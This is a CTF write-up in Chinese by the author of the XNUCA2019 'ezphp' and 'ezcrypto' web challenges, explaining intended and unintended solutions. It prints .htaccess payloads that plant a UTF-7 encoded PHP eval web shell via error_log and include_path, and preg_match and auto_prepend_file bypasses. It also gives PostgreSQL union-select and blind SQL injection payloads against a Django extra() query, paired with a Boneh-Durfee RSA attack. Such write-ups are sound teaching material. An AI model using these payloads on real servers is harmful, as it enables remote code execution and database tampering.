XNUCA2019 ez系列web题解

2019-08-31 约 261 字 预计阅读 2 分钟

声明:本文 【XNUCA2019 ez系列web题解】 由作者 rebirthwyw 于 2019-08-31 11:10:00 首发 先知社区 曾经 浏览数 114 次

感谢 rebirthwyw 的辛苦付出!

写在开头

这篇是关于我出的ezphp和ezcrypto两道题目的设计想法、题解以及一些非预期解的分享。
本次XNUCA2019线上赛的所有WriteUp以及题目环境会陆续在https://github.com/NeSE-Team/OurChallenges这个repo中放出,有疑惑的师傅们可以关注这个repo。

ezphp

前言

Ezphp设计的初衷是今年wctf的时候,我们在做pdoor这题时发现php-apache这个官方镜像的htaccess文件默认是生效的,因为脑海里一直有固有的htaccess文件默认不生效的想法,然后发现是/etc/apache2/conf-enabled目录下有一个docker-php.conf文件里设置了htaccess的生效。然后就想出一个能写htaccess情况下我们能做什么的题。

预期解

htaccess生效

如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance
这里采用# \的方式将换行符转义成普通字符,就可以用#来注释单行了。

利用文件包含

代码中有一处include_once("fl3g.php");,php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。

tmp目录写文件

  • 如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。
  • 如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。
  • 写进error_log的内容会被html编码怎么绕过?这个点是比较常见的,采用utf7编码即可。

payload

  • 第一步,通过error_log配合include_path在tmp目录生成shell
    php_value error_log /tmp/fl3g.php
    php_value error_reporting 32767
    php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
    # \
  • 第二步,通过include_path和utf7编码执行shell
    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # \

非预期

比赛时候一共有18个队解出Ezphp这题。看了WriteUp后发现只有一个队伍是预期解做的,其余一个队采用了非预期1的方法,剩下的16个队都是用的非预期2。也算是自己出题的一个大失误了,因为本意是不想限制太严看看php的配置选项能完成什么更多的花来,但是非预期2脱离了我的本意Orz。

非预期1

因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1) {而不是if(preg_match("/[^a-z\.]/", $filename) !== 0) {,因此存在了被绕过的可能。
通过设置.htaccess

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

导致preg_match返回False,继而绕过了正则判断,filename即可通过伪协议绕过前面stristr的判断实现Getshell。

非预期2

惨痛的教训23333
上文提到用\来转义换行符来绕过最后加一行的限制。
所以同理你也可以用\来绕过stristr处的所有限制233333。型如

php_value auto_prepend_fi\
le ".htaccess"

ezcrytpo

前言

Ezcrypto设计的初衷是上学期上密码学课的时候看了Dan Boneh的"Twenty Years of
Attacks on the RSA
Cryptosystem",感觉很多RSA相关的攻击都是基于这篇文章提到的内容进行变形完成的,然后想着web狗应该也要会点密码学,于是出了这个题。Ezcrypto的密码学部分的确是很赤裸很简单,本质上还是一道Sql注入的题目。

密码学部分

本题的flag由root的密钥进行加密,且密钥生成是安全的。
但是user的密钥生成过程中,采用了从数据库中读取到的lowlimit以及uplimit作为私钥的上下界来生成。由于上界定在了0.4,因此这样的密钥生成存在有Boneh and Durfee attack的场景,即生成一个私钥的上界小于0.292时,N可以被分解。攻击脚本可以参考以下链接https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage

修改lowlimit

本题的第一考点就在于如何修改lowlimit以及uplimit的值。数据库操作均采用Django原生的ORM来实现,后端数据库为Postgresql。代码中只有在当前密钥加密次数用完时才会调用create_key去生成新的密钥,但是在这部分逻辑中,采用了限制很严的wafd以及限制括号次数的方式来保证不能在这部分逻辑中直接通过union select的方式来返回一个小数比如0.254之类的数,去让lowlimit和uplimit满足条件。因此我们需要在分支的第一部分中,尝试将数据库中的lowlimit和uplimit的值进行修改,在分支的第二部分中利用create_key去生成新的密钥。
我们可以很明显的发现有一处数据库操作是有问题的。

records = Record.objects.extra(
    where=['username=%s', 'message!=%s', 'luky!={0}'.format(luky)],
    params=[user, message]
)

luky处没有采用到ORM语法的方式,而是采用了类似字符串拼接的方式来传入数据。当然,Django在采用extra来做查询的时候,我也只知道了%s的方式来安全的传参,对于数值型数据,我没有找到对应的方法,也就是说如果你用extra来写sql查询,的确可能存在类似上述的写法的存在。
现在的问题变成了当你拥有一处Select型的注入的时候,你怎么去修改数据库中的值。这里需要用到一个Django的ORM在实现的时候我个人认为没有做好的地方来完成这一点。因为观察代码我们知道,recordone在被select出来以后,后续会通过save函数进行更新,也就是update操作。那么如果我们将select的内容控制成我们想要的结构,意味着Django会update一个由我们控制的对象,而不是只是修改了代码中对应位置的对象。这一点在Flask中就不存在,Flask只会update在代码中显式更改的部分。
有了一个可控的update以后,我们还需要绕过wafs中对于.-的限制,即你不能直接通过小数或者科学计数法来表示一个纯小数。这部分应该会有各种各样花式的方法,这里提供一种方法是利用log和round函数来做到这一点,即round(log(80,3),3)=>0.251
这部分的payload为

47) union select "id",round(log(80,3),3),round(log(75,3),3),"username","secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("username"='test'

控制root密钥

第一步我们已经控制了user的密钥,使其变得不安全可以采用Boneh and Durfee attack来分解N。但是flag是有root的密钥加密的而不是user。观察代码我们可以发现,在分支的第一部分,一直采用的是session中的值进行的加密,而不是数据库中的值。而root的session中的密钥在分支第二部分重新生成时会更新。

request.session['root_N'] = Nroot
request.session['root_E'] = Eroot
request.session['root_flag'] = root_flag
request.session[recordone.username + '_N'] = Nuser
request.session[recordone.username + '_E'] = Euser
request.session[recordone.username + '_flag'] = user_flag

观察以上代码可以发现,root_N和root_E先赋值,而recordone.username由于注入存在的关系,是我们可控的,因此我们可以通过控制recordone.username来使得session中的root_N和root_E错误的被Nuser和Euser来控制。也就意味着我们可以使得flag由一组脆弱的N和e生成。
这部分的payload为

47) union select "id","lowlimit","uplimit",'root',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("username"='test'

恢复用户名

上一步会将对应用户的用户名改变为root,这会影响到最后获取Nuser和Euser的值,因此在这里需要将用户名恢复过来。

47) union select "id","lowlimit","uplimit",'test',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("id"=1

同时输入一组正常的message和luky来获得一个使用Nuser和Euser加密的flag。

盲注Nuser和Euser

最后一步就是获取到数据库中的Nuser和Euser用于Boneh and Durfee attack来分解。这里有两个问题。一是分支第一部分只有三次机会使用当前密钥,如果机会用完则密钥会更新。这里不存在直接回显即得的注入,只能通过盲注来完成。所以我们需要构造一个不会减少使用密钥次数的请求,且存在盲注需要的两种状态。
关注这部分代码

if len(records) == 0:
    content = "<script>alert('必须修改明文和幸运数字');window.location='/';</script>"
    return HttpResponse(content)

我们可以通过返回0个查询来触发这种状态。
第二个状态是来自这句代码

user_flag = crypt(message, request.session[recordone.username + '_N'], request.session[recordone.username + '_E'])

因为recordone.username是我们可控的,如果是一个session中不存在的键值,Django会抛出一个500错误的响应,这样即完成了两个状态,又使得代码不会走到使用次数减少的位置。
第二个问题是,Nuser和Euser这两个列名被禁止了,同时禁止了常见的一些表列名被禁止时的做法。此处用到了Postgresql特有的一个trick,最早在hitcon2017的SQL so Hard非预期解中被提及,我感觉这个知识点国内好像不怎么提,所以特地再拿出来说一遍。Postgresql可以采用U&"Eu!0073er" UESCAPE '!'的方式来转义unicode字符,同时Postgresql的单引号和双引号是有明确含义的,而不是像Mysql那样存在混用的现象。即双引号可以用来表示列名而单引号则用来表示字符串。因此U&"Eu!0073er" UESCAPE '!'这样的表示不会存在字符串的歧义,而是准确地表示了列名的含义。
盲注的测试payload为

47) union select "id","lowlimit","uplimit",'a',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where "id"=1 and (case when (substring(U&"Nu!0073er" UESCAPE '!' from 1 for 1)='1') then true else false end

本题相对过程比较复杂,主要考察了RSA的基本攻击方式、Django ORM的一个问题以及Postgresql的一些特性,有点烦,所以flag原本设置也是叫NeSE{mix_up1s-alittle^disgusting}

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now